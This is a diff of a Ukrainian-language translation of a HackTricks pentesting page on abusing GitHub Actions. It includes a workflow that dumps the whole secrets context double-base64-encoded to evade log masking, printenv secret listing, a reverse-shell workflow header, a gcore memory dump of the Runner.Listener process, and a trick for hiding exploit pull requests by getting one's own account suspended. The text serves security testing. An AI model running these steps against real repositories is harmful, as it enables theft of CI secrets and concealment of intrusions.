+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **action буде виконано без жодних обмежень.**
+
+Приклад:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### Доступ до AWS і GCP через OIDC
+
+Перегляньте наступні сторінки:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -442,13 +470,13 @@ gh-actions-artifact-poisoning.md
 
 ### Доступ до секретів <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:
+Якщо ви вставляєте вміст у скрипт, корисно знати, як отримати доступ до секретів:
 
-- Якщо секрет або токен встановлено в **змінну середовища**, його можна безпосередньо отримати через середовище, використовуючи **`printenv`**.
+- Якщо секрет або токен задані як **змінна середовища**, їх можна напряму отримати, використовуючи **`printenv`**.
 
 <details>
 
-<summary>Список секретів у виході Github Action</summary>
+<summary>Перелічити секрети у виводі Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Отримати зворотний шелл з секретами</summary>
+<summary>Отримати reverse shell за допомогою secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний.
+- Якщо secret використовується **безпосередньо в виразі**, згенерований shell script зберігається **на диску** і доступний.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Для JavaScript дій секрети передаються через змінні середовища.
+- Для JavaScript actions secrets передаються через змінні середовища
 - ```bash
 ps axe | grep node
 ```
-- Для **кастомної дії** ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з **аргументу**:
+- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, який вона отримала з **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Зловживання самостійно хостингованими виконавцями
+- Перелічіть всі secrets через secrets context (collaborator level). Контриб'ютор з правами write може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти GitHub’s log masking, і декодуйте локально:
 
-Спосіб знайти, які **Github Actions виконуються в не-Github інфраструктурі**, - це шукати **`runs-on: self-hosted`** в конфігураційному yaml файлі Github Action.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Самостійно хостинговані** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **може виконуватися більше однієї дії одночасно**, і зловмисна може **вкрасти секрети** іншої.
+Декодуйте локально:
 
-У самостійно хостингованих виконавцях також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлено на GitHub-hosted runners).
+
+### Зловживання Self-hosted runners
+
+Щоб знайти, які **GitHub Actions виконуються поза інфраструктурою GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml для Github Action.
+
+**Self-hosted** runners можуть мати доступ до **додаткової конфіденційної інформації**, до інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо він ізольований і буде знищений, **можуть виконуватись більше ніж одна action одночасно**, і зловмисна дія може **вкрасти secrets** іншої.
+
+На self-hosted runners також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow на будь-якому кроці, шляхом дампу його пам'яті:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Перевірте [**цей пост для отримання додаткової інформації**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Перегляньте [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Регістр Docker-образів у Github
 
-Можливо створити Github дії, які **будують і зберігають Docker-образ всередині Github**.\
-Приклад можна знайти в наступному розширювальному:
+Можна створити Github actions, які будуть **build and store a Docker image inside Github**.\
+Приклад можна знайти в наступному розкривному блоці:
 
 <details>
 
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Як ви могли бачити в попередньому коді, реєстр Github розміщений на **`ghcr.io`**.
+Як видно з попереднього коду, реєстр Github розміщено на **`ghcr.io`**.
 
-Користувач з правами на читання репозиторію зможе завантажити Docker Image, використовуючи особистий токен доступу:
+Користувач із read permissions до repo зможе завантажити Docker Image, використовуючи personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Тоді користувач може шукати **викрадені секрети в шарах Docker-образу:**
+Then, the user could search for **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Чутлива інформація в журналах Github Actions
+### Sensitive info in Github Actions logs
 
-Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштовано спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Навіть якщо **Github** намагається **detect secret values** у actions logs і **не показувати** їх, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний за допомогою secret value не буде прихований, якщо це не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Приховування своїх слідів
+## Приховування слідів
 
-(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їх **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)
+(Техніка з [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR видно публічно на Github і для цільового облікового запису GitHub. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є тонкість. Для облікових записів Github, які були **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тож щоб приховати свою активність, потрібно або домогтися **GitHub account suspended**, або щоб ваш обліковий запис був flagged. Це **приховає всі ваші активності** на GitHub з інтернету (фактично видалить всі ваші exploit PR).
 
-Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.
+Організація на GitHub дуже оперативно повідомляє акаунти до GitHub. Все, що потрібно — поділитися «деякими речами» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от — ваш експлойт став невидимим на github.
 
 > [!WARNING]
-> Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.
+> Єдиний спосіб для організації з’ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено.
+
+## Посилання
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}